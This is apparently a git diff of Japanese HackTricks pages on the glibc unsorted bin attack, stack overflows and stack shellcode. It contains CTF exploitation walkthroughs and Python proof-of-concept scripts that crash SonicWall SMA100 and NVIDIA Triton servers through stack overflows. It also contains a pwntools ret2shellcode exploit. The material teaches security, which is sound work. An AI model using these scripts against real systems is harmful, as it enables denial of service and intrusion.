したがって、チャンクを unsorted bin に入れて読み取れる(use after free)か、少なくとも1つのポインタを上書きしないまま再度割り当ててから読み取ることができれば、**Glibc info leak** を得ることができます。
|
||||
これは実際には非常に基本的な概念です。unsorted bin にあるチャンクはポインタを持ちます。unsorted bin の最初のチャンクは実際に **`fd`** と **`bk`** のリンクが **main arena (Glibc) の一部を指しています**。\
|
||||
したがって、チャンクを unsorted bin に入れてそれを読み取れる(use after free)か、少なくとも1つのポインタを上書きせずに再度 allocate してから読み取ることができれば、**Glibc info leak** を得られます。
|
||||
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)、は4チャンク構成(A, B, C, D - Dはtop chunkとのconsolidationを防ぐためだけ)を悪用するもので、BのnullバイトオーバーフローによってCがBを未使用と示すようにし、さらにBの`prev_size`を変更してサイズがBのサイズではなくA+Bとなるようにしました。\
|
||||
その後CをfreeしてA+Bと統合され(ただしBはまだ使用中)、サイズAの新しいチャンクを割り当てると、libcのleakedアドレスがBに書き込まれ、そこからleakされました。
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)、は 4 チャンク構造(A, B, C, D — D は top chunk と consolidate するのを防ぐためだけ)を悪用するもので、B の null byte overflow を使って C が B を未使用と示すようにしました。さらに B の `prev_size` を改変して、サイズが B のサイズではなく A+B になるようにしました。\
|
||||
その後 C を deallocate して A+B と consolidate(B はまだ in use)されます。サイズ A の新しいチャンクを allocate し、そこから libc のリークしたアドレスを B に書き込んでリークを得ました。
|
||||
|
||||
## 参考と他の例
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- 目的はグローバル変数を4869より大きい値で上書きしてflagを取得することで、PIEは有効ではない。
|
||||
- 任意のサイズのチャンクを生成でき、目的のサイズでヒープオーバーフローが存在する。
|
||||
- 攻撃は3つのチャンクを作成するところから始まる: chunk0(オーバーフローを悪用するため)、chunk1(オーバーフローされる対象)、chunk2(top chunkが前のものとconsolidateしないようにするため)。
|
||||
- その後chunk1をfreeし、chunk0をオーバーフローさせてchunk1の`bk`ポインタが指す先を `bk = magic - 0x10` にする。
|
||||
- 続いてchunk1と同じサイズでchunk3を割り当てるとunsorted bin attackが発動し、グローバル変数の値を変更してflagを得られるようにする。
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- merge関数は、同じインデックスが2回渡された場合にそれをreallocしてからfreeし、解放された領域のポインタを返してしまう脆弱性があるため脆弱である。
|
||||
- したがって、**2つのチャンクが作成される**: **chunk0**(自身とマージされる)と、top chunkとのconsolidationを防ぐためのchunk1。次に、**merge関数をchunk0で**2回呼ぶとuse after freeが発生する。
|
||||
- その後、インデックス2(use after freeチャンクのインデックス)で**`view`**関数を呼ぶと、**libcアドレスがleak**される。
|
||||
- バイナリは `global_max_fast` より大きいサイズのみmallocを許可する保護があるためfastbinは使われず、unsorted bin attackを用いてグローバル変数 `global_max_fast` を上書きする。
|
||||
- 続けて、インデックス2(use after freeポインタ)でedit関数を呼び、`bk`ポインタを `p64(global_max_fast-0x10)` を指すように上書きできる。そうして新しいチャンクを作ると、以前に改竄されたfreeアドレス(0x20) が使われ、unsorted bin attack が発動して `global_max_fast` を上書きする。これにより `global_max_fast` が非常に大きな値になり、fast bin のチャンクを作成できるようになる。
|
||||
- ここから **fast bin attack** が行われる:
|
||||
- まず、`__free_hook` の場所でサイズ200のfastチャンクを扱えることが発見される:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- 目的はグローバル変数を 4869 より大きい値で上書きして flag を取得することで、PIE は有効でない。
|
||||
- 任意サイズのチャンクを生成でき、目的のサイズでの heap overflow が存在する。
|
||||
- 攻撃は 3 つのチャンクを作成するところから始まる: overflow を悪用する chunk0、overflow される chunk1、そして top chunk が前のものと consolidate しないようにする chunk2。
|
||||
- その後 chunk1 を free し、chunk0 を overflow して chunk1 の `bk` ポインタが指すようにする: `bk = magic - 0x10`
|
||||
- その後 chunk1 と同サイズの chunk3 を allocate すると unsorted bin attack が発動し、グローバル変数の値が変更されて flag を取得できるようになる。
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- merge 関数は、渡した両方のインデックスが同じ場合にその領域を realloc してから free し、free した領域へのポインタを返してしまうため脆弱である。
|
||||
- したがって、**2 つのチャンクを作成**する: 自分自身とマージされる **chunk0** と、top chunk と consolidate しないようにする chunk1。次に、**merge function を chunk0 で 2 回呼ぶ**と use after free が発生する。
|
||||
- その後 index 2(use after free チャンクのインデックス)で **`view`** を呼ぶと、libc アドレスが **leak** する。
|
||||
- バイナリには **`global_max_fast`** より大きいサイズしか malloc できない保護があるため fastbin は使われず、unsorted bin attack を使ってグローバル変数 `global_max_fast` を上書きする。
|
||||
- 次に、index 2(use after free ポインタ)で edit を呼び、`bk` を `p64(global_max_fast-0x10)` を指すように上書きする。すると、新しいチャンクを作ることで以前に改竄した free アドレス (0x20) が使われ、**unsorted bin attack をトリガー**して `global_max_fast` を非常に大きな値に上書きし、fast bin のチャンクを作れるようにする。
|
||||
- ここから **fast bin attack** が行われる:
|
||||
- まず、**`__free_hook`** の位置でサイズ 200 の fast チャンクが扱えることが発見される:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- この場所にサイズ0x200のfastチャンクを配置できれば、実行される関数ポインタを上書きすることが可能になる。
|
||||
- そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでmerge関数を2回呼ぶことで、fast binにサイズ `0xfc*2 = 0x1f8` の解放済みチャンクへのポインタを得る。
|
||||
- そのチャンクでedit関数を呼んで、このfast binの **`fd`** を前の **`__free_hook`** を指すように変更する。
|
||||
- 続いてサイズ `0x1f8` のチャンクを作ってfast binから前の無用なチャンクを取り出し、さらにもう一つサイズ `0x1f8` のチャンクを作ることで `__free_hook` の位置にあるfast binチャンクを取得し、これを **`system`** のアドレスで上書きする。
|
||||
- 最後に `/bin/sh\x00` を含むチャンクをdelete関数でfreeすると、`__free_hook` が system を指しているため `/bin/sh\x00` を引数に system が実行される。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- 1バイトオーバーフローを悪用してチャンクをunsorted binで統合しlibcのinfoleakを得た後、fast bin attackでmalloc hookをone gadgetアドレスで上書きする別の例。
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- チャンクは `0x100` より大きいサイズしか割り当てられない。
|
||||
- Unsorted Bin attack を使って `global_max_fast` を上書きする(ASLR のため成功確率は1/16、12ビットを変更する必要があるが16ビットを変更しなければならないため)。
|
||||
- Fast Bin attack によりグローバルなチャンク配列を改変する。これにより任意の read/write プリミティブを得られ、GOT を改変してある関数を `system` を指すようにできる。
|
||||
</code></pre>
|
||||
- この場所にサイズ 0x200 の fast チャンクを置ければ、実行される関数ポインタを上書ける。
|
||||
- そのため、サイズ `0xfc` の新しいチャンクを作り、そのポインタで merge を 2 回呼ぶことで、fast bin にサイズ `0xfc*2 = 0x1f8` の free チャンクへのポインタが得られる。
|
||||
- 次に、そのチャンクで edit を呼んでこの fast bin の **`fd`** を以前の **`__free_hook`** を指すように変更する。
|
||||
- その後 `0x1f8` サイズのチャンクを作って fast bin から不要なチャンクを取り出し、さらにもう一つ `0x1f8` のチャンクを作って **`__free_hook`** の位置にある fast bin チャンクを取得し、これを **`system`** のアドレスで上書きする。
|
||||
- 最後に `/bin/sh\x00` を含むチャンクを delete で free すると、**`__free_hook`** が system を指しているため `/bin/sh\x00` を引数に system が実行される。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- 1B overflow を悪用して unsorted bin にチャンクを consolidate し libc infoleak を得て、その後 fast bin attack を行い malloc hook を one gadget アドレスで上書きする別の例。
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- `0x100` より大きいサイズのチャンクしか allocate できない。
|
||||
- Unsorted Bin attack を使って `global_max_fast` を上書きする(ASLR のため成功率は 1/16。12 ビットを変更する必要があるが実際には 16 ビットを変更しなければならないため)。
|
||||
- Fast Bin attack でグローバルなチャンク配列を改変する。これにより任意の read/write プリミティブが得られ、GOT を変更して関数を `system` を指すようにできる。
|
||||
|
||||
## 参考
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks(2.33 のソースの例): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- Glibc malloc unsorted-bin の整合性チェック(2.33 のソース例): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` と関連定義(modern glibc 2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stack Overflowとは
|
||||
## Stack Overflowとは何か
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの破壊、そして場合によっては悪意あるコードの実行につながる可能性があります。 この問題は、入力に対して境界チェックを行わない安全でない関数の使用により発生することがよくあります。
|
||||
**stack overflow**は、プログラムがスタックに割り当てられた容量以上のデータを書き込むと発生する脆弱性です。この余分なデータは**隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの混乱、場合によっては悪意のあるコードの実行につながります。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によって生じることが多いです。
|
||||
|
||||
この上書きの主な問題は、前の関数に戻るための **saved instruction pointer (EIP/RIP)** や **saved base pointer (EBP/RBP)** が **stack 上に保存されている**ことです。したがって、攻撃者はそれらを上書きして **プログラムの実行フローを制御**できるようになります。
|
||||
この上書きの主な問題は、以前の関数に戻るための**saved instruction pointer (EIP/RIP)**と**saved base pointer (EBP/RBP)**が**スタック上に保存されている**ことです。したがって、攻撃者はそれらを上書きして**プログラムの実行フローを制御**できるようになります。
|
||||
|
||||
この脆弱性は通常、関数が **stack 内に割り当てられた量より多くのバイトをコピーしてしまう** ことにより発生し、結果として stack の他の部分を上書きできてしまいます。
|
||||
この脆弱性は通常、関数がスタック内に**割り当てられた以上のバイト数をコピーする**ために発生し、他のスタック領域を上書きできるようになります。
|
||||
|
||||
この脆弱性の原因になりやすい一般的な関数には **`strcpy`, `strcat`, `sprintf`, `gets`** などがあります。 また、**`fgets`**, **`read` & `memcpy`** のように **長さ引数(length argument)** を取る関数も、指定された長さが割り当てより大きいと脆弱な使い方になる可能性があります。
|
||||
この脆弱性の影響を受けやすい一般的な関数には次のものがあります: **`strcpy`, `strcat`, `sprintf`, `gets`**... また、**`fgets`**, **`read`**, **`memcpy`** のように **長さ引数** を取る関数は、指定した長さが割り当てより大きい場合に脆弱な使われ方をすることがあります。
|
||||
|
||||
例えば、次の関数は脆弱である可能性があります:
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Finding Stack Overflows offsets
|
||||
### Stack Overflow のオフセットを見つける
|
||||
|
||||
Stack overflowを見つける最も一般的な方法は、非常に大きな`A`の入力を与えること(例: `python3 -c 'print("A"*1000)'`)で、`Segmentation Fault`が発生し、**アドレス `0x41414141` にアクセスしようとした**ことが示されることを期待することです。
|
||||
Stack overflows を見つける最も一般的な方法は、非常に大量の `A` を与えること(例: `python3 -c 'print("A"*1000)'`)で、`Segmentation Fault` が発生して、**アドレス `0x41414141` へのアクセスが試みられた**ことを確認することです。
|
||||
|
||||
さらに、Stack Overflowの脆弱性があるとわかったら、リターンアドレスを**上書きできるようになるまでのオフセット**を見つける必要があります。これには通常**De Bruijn sequence**が使われます。これは、アルファベットのサイズが_k_で部分列の長さが_n_の場合、**長さ_n_のあらゆる部分列がちょうど一度ずつ連続した部分列として現れる循環列**です。
|
||||
さらに、Stack Overflow の脆弱性が見つかったら、**return address を上書きできる**までのオフセットを特定する必要があります。そのために通常使われるのが **De Bruijn sequence** です。与えられたアルファベットのサイズ _k_ と部分列の長さ _n_ に対して、これは**長さ _n_ のあらゆる可能な部分列がちょうど一度ずつ連続部分列として現れる巡回列(cyclic sequence)**です。
|
||||
|
||||
この方法を使えば、どのオフセットが手作業でEIPを制御するために必要かを突き止める代わりに、これらのシーケンスの一つをパディングとして使い、それを上書きしたバイトのオフセットを特定できます。
|
||||
このように、どのオフセットで EIP を制御できるかを手作業で調べる代わりに、これらのシーケンスの一つをパディングとして使い、上書きされたバイトがどの位置にあったかを特定できます。
|
||||
|
||||
これには**pwntools**を使うことができます:
|
||||
これには **pwntools** を使うことができます:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -48,17 +48,15 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Stack Overflows の悪用
|
||||
|
||||
オーバーフローが発生した場合(サイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**して保存された **EBP/RBP and EIP/RIP (or even more)** に到達するまで可能です。\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**リターンアドレスを変更すること**で、関数が終了したときに **コントロールフローがこのポインタでユーザが指定した場所へリダイレクトされる** ようにすることです。
|
||||
|
||||
しかし、別のシナリオではスタック上のいくつかの変数の値を**上書きするだけで**エクスプロイトが成立する場合もあります(簡単な CTF チャレンジなど)。
|
||||
## Exploiting Stack Overflows
|
||||
|
||||
オーバーフロー発生時(オーバーフローのサイズが十分に大きい場合)、stack 内のローカル変数の値を **overwrite** して保存された **EBP/RBP and EIP/RIP (or even more)** に到達できるようになります.\\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**modifying the return address** ことで、関数終了時にそのポインタにユーザが指定した場所へ**control flow will be redirected wherever the user specified**。
|
||||
しかし、他のシナリオでは、単に **overwriting some variables values in the stack** するだけで脆弱性を悪用できる場合もあります(簡単な CTF チャレンジのような場合)。
|
||||
|
||||
### Ret2win
|
||||
|
||||
この種の CTF チャレンジでは、バイナリ内部に**決して呼ばれない関数**が存在し、それを呼び出すことで勝利できるようになっています。これらのチャレンジでは、**リターンアドレスを上書きするためのオフセット**と呼び出す**関数のアドレス**を見つければ十分です(通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になっていることが多い)。脆弱な関数がリターンすると、隠された関数が呼び出されます:
|
||||
このタイプの CTF チャレンジでは、バイナリ内に **function** **inside** で **never called**、そして **you need to call in order to win** という関数が存在します。これらのチャレンジでは、呼び出すために必要な **offset to overwrite the return address** を見つけ、呼び出すべき **address of the function** を特定するだけです(通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になっています)。脆弱な関数が return すると、隠された関数が呼び出されます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -67,7 +65,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
このシナリオでは、攻撃者はスタックに shellcode を置き、制御された EIP/RIP を利用して shellcode にジャンプし任意のコードを実行できます:
|
||||
このシナリオでは、攻撃者は stack に shellcode を置き、制御された EIP/RIP を使って shellcode にジャンプし、任意のコードを実行できます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -76,7 +74,7 @@ stack-shellcode/
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
32-bit Windows では、オーバーフローが保存されたリターンアドレスの代わりに Structured Exception Handler (SEH) チェーンを上書きすることがあります。エクスプロイトでは通常、SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode がある大きなバッファへピボットします。一般的なパターンとしては、nSEH の短い jmp が nSEH の直前に置かれた 5 バイトの near jmp に着地し、ペイロードの開始位置へ数百バイト戻る、というものです。
|
||||
32-bit Windows では、オーバーフローが保存されたリターンアドレスではなく Structured Exception Handler (SEH) チェーンを上書きする場合があります。エクスプロイトでは通常、SEH ポインタを POP POP RET gadget に置き換え、4 バイトの nSEH フィールドを短いジャンプに使用して shellcode が存在する大きなバッファへピボットします。一般的なパターンは、nSEH に短い jmp を入れ、nSEH の直前に配置した 5 バイトの near jmp に到達させて、ペイロードの先頭まで数百バイト戻るというものです。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -85,7 +83,7 @@ windows-seh-overflow.md
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
この手法は前述の保護、すなわち **No executable stack (NX)** を回避するための基本的なフレームワークです。また、既存の命令を悪用して任意コマンドを実行する ret2lib や ret2syscall といった他の手法を実行することも可能にします:
|
||||
この手法は、前述の手法に対する主要な保護を回避するための基本的なフレームワークです:**No executable stack (NX)**。また、既存の命令を悪用して任意のコマンドを実行させる ret2lib、ret2syscall などの他の手法を行うことも可能にします:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -94,7 +92,7 @@ windows-seh-overflow.md
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
オーバーフローは必ずしもスタックに発生するとは限らず、例えば **heap** に発生することもあります:
|
||||
オーバーフローが常に stack に起こるわけではなく、例えば **heap** に発生することもあります:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -103,42 +101,43 @@ windows-seh-overflow.md
|
||||
|
||||
## Types of protections
|
||||
|
||||
脆弱性の悪用を防ぐためのいくつかの保護機構が存在します。詳細は以下を確認してください:
|
||||
脆弱性の悪用を防ぐための様々な保護機構が存在します。詳細は次を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
### 実例: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
なぜ **`sscanf` を信頼して未検証の入力を解析してはならないか** の良い実例が、2025 年に SonicWall の SMA100 SSL-VPN アプライアンスで発生しました。`/usr/src/EasyAccess/bin/httpd` 内の脆弱なルーチンは、`/__api__/` で始まる URI からバージョンとエンドポイントを抽出しようとします:
|
||||
SonicWall の SMA100 SSL-VPN アプライアンスでは、2025 年に **`sscanf` should never be trusted for parsing untrusted input** を示す良い事例が発生しました。
|
||||
脆弱なルーチンは `/usr/src/EasyAccess/bin/httpd` の内部にあり、`/__api__/` で始まる任意の URI からバージョンとエンドポイントを抽出しようとします:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 最初の変換 (`%2s`) は `version` に安全に **2** バイトを格納します(例: `"v1"`)。
|
||||
2. 2番目の変換 (`%s`) は **長さ指定子がありません**。したがって `sscanf` は **最初の NUL バイトまで** コピーし続けます。
|
||||
3. `endpoint` が **stack** 上にあり、サイズが **0x800 bytes long** であるため、長さが 0x800 バイトを超えるパスを与えると、バッファの後にあるすべて(**stack canary** や **saved return address** を含む)が破損します。
|
||||
1. 最初の変換 (`%2s`) は `version` に**2**バイトを安全に格納します(例: "v1")。
|
||||
2. 2番目の変換 (`%s`) は**長さ指定子がありません**。したがって `sscanf` は**最初の NUL byte まで**コピーし続けます。
|
||||
3. `endpoint` が**stack**上にあり、**0x800 bytes long**であるため、0x800バイトより長いパスを与えるとバッファ以降に置かれたもの―**stack canary** や **saved return address** を含む―がすべて破損します。
|
||||
|
||||
単一行の proof-of-concept で、**認証前** にクラッシュを引き起こすのに十分です:
|
||||
1行のPoCで**認証前**にクラッシュを引き起こすのに十分です:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||||
stack canaries がプロセスを中断させたとしても、攻撃者は依然として **Denial-of-Service** のプリミティブを獲得します(さらに追加の情報 leaks があれば、code-execution に至る可能性もあります)。教訓は簡単です:
|
||||
|
||||
* Always provide a **maximum field width** (e.g. `%511s`).
|
||||
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
|
||||
* 常に **最大フィールド幅** を指定する(例: `%511s`)。
|
||||
* `snprintf`/`strncpy_s` のようなより安全な代替を使用することを優先する。
|
||||
|
||||
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
### 実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.
|
||||
The vulnerable pattern repeatedly appeared in `http_server.cc` and `sagemaker_server.cc`:
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) には、HTTP API を通じて到達可能な複数の **stack-based overflows** が含まれていました。
|
||||
脆弱なパターンは `http_server.cc` と `sagemaker_server.cc` に繰り返し現れました:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -148,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) は現在の HTTP リクエストボディを構成する内部バッファセグメントの**数**を返します。
|
||||
2. 各セグメントは `alloca()` を介して**stack**上に**16-byte**の`evbuffer_iovec`を割り当てさせます — **上限がありません**。
|
||||
3. クライアントが**HTTP _chunked transfer-encoding_**を悪用すると、リクエストを**何十万もの6-byteチャンク**(`"1\r\nA\r\n"`)に分割させることができます。これにより、`n` は **stack** が枯渇するまで無制限に増加します。
|
||||
1. `evbuffer_peek` (libevent) は現在の HTTP リクエストボディを構成する **内部バッファセグメントの数** を返します。
|
||||
2. 各セグメントは `alloca()` を介して **16-byte** の `evbuffer_iovec` を **stack** 上に割り当てます – **上限がありません**。
|
||||
3. **HTTP _chunked transfer-encoding_** を悪用することで、クライアントはリクエストを **数十万の6-byteチャンク** (`"1\r\nA\r\n"`) に分割させることができます。これにより `n` は stack が枯渇するまで無制限に増加します。
|
||||
|
||||
#### 概念実証 (DoS)
|
||||
```python
|
||||
@ -176,10 +175,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
約3 MBのリクエストで、保存された戻りアドレスを書き換え、デフォルトビルドのデーモンを**crash**させるのに十分です。
|
||||
約3MBのリクエストで保存されたリターンアドレスを上書きし、デフォルトのビルドではデーモンを**クラッシュ**させるのに十分です。
|
||||
|
||||
#### パッチと緩和策
|
||||
25.07リリースでは、安全でないスタック割り当てを**heap-backed `std::vector`**に置き換え、`std::bad_alloc`を適切に処理します:
|
||||
25.07 リリースでは、安全でないスタック割り当てを**ヒープ上の `std::vector`**に置き換え、`std::bad_alloc` を適切に処理します:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -190,11 +189,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
教訓:
|
||||
* 攻撃者が制御するサイズで `alloca()` を呼び出してはいけない。
|
||||
* Chunked requests はサーバー側のバッファの形状を大きく変える可能性がある。
|
||||
* クライアント入力から派生した値は、メモリ割り当てで使用する*前に*検証 / 上限設定を行うこと。
|
||||
* 攻撃者が制御するサイズで `alloca()` を呼び出してはいけません。
|
||||
* Chunked requests はサーバー側のバッファの形状を大幅に変える可能性があります。
|
||||
* クライアント入力に由来する値は、メモリ割り当てに*使用する前に*必ず検証し、上限を設けてください。
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Stack shellcode** は **binary exploitation** において、攻撃者が脆弱なプログラムの stack に shellcode を書き込み、**Instruction Pointer (IP)** や **Extended Instruction Pointer (EIP)** をその shellcode の位置を指すように変更して実行させる手法です。これは対象システムに不正にアクセスしたり任意のコマンドを実行したりするための古典的な方法です。以下にプロセスの内訳と、簡単な C の例、および **pwntools** を使って Python で対応する exploit を書く方法を示します。
|
||||
**Stack shellcode** は **binary exploitation** で用いられる手法で、攻撃者が脆弱なプログラムのスタック上に shellcode を書き込み、続いて **Instruction Pointer (IP)** や **Extended Instruction Pointer (EIP)** をこの shellcode の位置に変更して実行させます。これはターゲットシステム上で不正アクセスを得たり任意のコマンドを実行するための古典的な手法です。以下にプロセスの内訳を示します。簡単な C の例と、**pwntools** を使って Python で対応する exploit を書く方法も含みます。
|
||||
|
||||
### Cの例: 脆弱なプログラム
|
||||
|
||||
まずは脆弱な C プログラムの簡単な例を示します:
|
||||
まずは脆弱な C プログラムの簡単な例を示します:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
このプログラムは `gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。
|
||||
このプログラムは、`gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。
|
||||
|
||||
### コンパイル
|
||||
### Compilation
|
||||
|
||||
さまざまな保護を無効化して(脆弱な環境をシミュレートするために)このプログラムをコンパイルするには、次のコマンドを使用します:
|
||||
さまざまな保護機能を無効化して(脆弱な環境をシミュレートするため)、このプログラムをコンパイルするには、次のコマンドを使用できます:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: スタック保護を無効化します。
|
||||
- `-z execstack`: スタックを実行可能にします。これはスタックに格納された shellcode を実行するために必要です。
|
||||
- `-no-pie`: Position Independent Executable を無効化し、shellcode が配置されるメモリアドレスを予測しやすくします。
|
||||
- `-m32`: プログラムを 32-bit 実行形式としてコンパイルします。exploit 開発で簡便さのためによく使われます。
|
||||
- `-fno-stack-protector`: スタックプロテクションを無効にします。
|
||||
- `-z execstack`: スタックを実行可能にします。スタックに格納された shellcode を実行するために必要です。
|
||||
- `-no-pie`: Position Independent Executable (PIE) を無効にします。これにより、shellcode が配置されるメモリアドレスを予測しやすくなります。
|
||||
- `-m32`: プログラムを 32-bit 実行ファイルとしてコンパイルします。exploit 開発で簡便さのために用いられることが多いです。
|
||||
|
||||
### Pwntools を使った Python Exploit
|
||||
### Pwntoolsを使った Python Exploit
|
||||
|
||||
以下は、**pwntools** を使用して **ret2shellcode** 攻撃を実行するための Python の exploit を書く方法です:
|
||||
以下は、**pwntools** を使用して **ret2shellcode** 攻撃を行うために Python で exploit を書く方法です:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -68,26 +68,45 @@ p.interactive()
|
||||
```
|
||||
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
|
||||
|
||||
このスクリプトは、**NOP slide**、**shellcode** を含むペイロードを構築し、その後 **EIP** を NOP slide を指すアドレスで上書きして、shellcode が実行されるようにします。
|
||||
|
||||
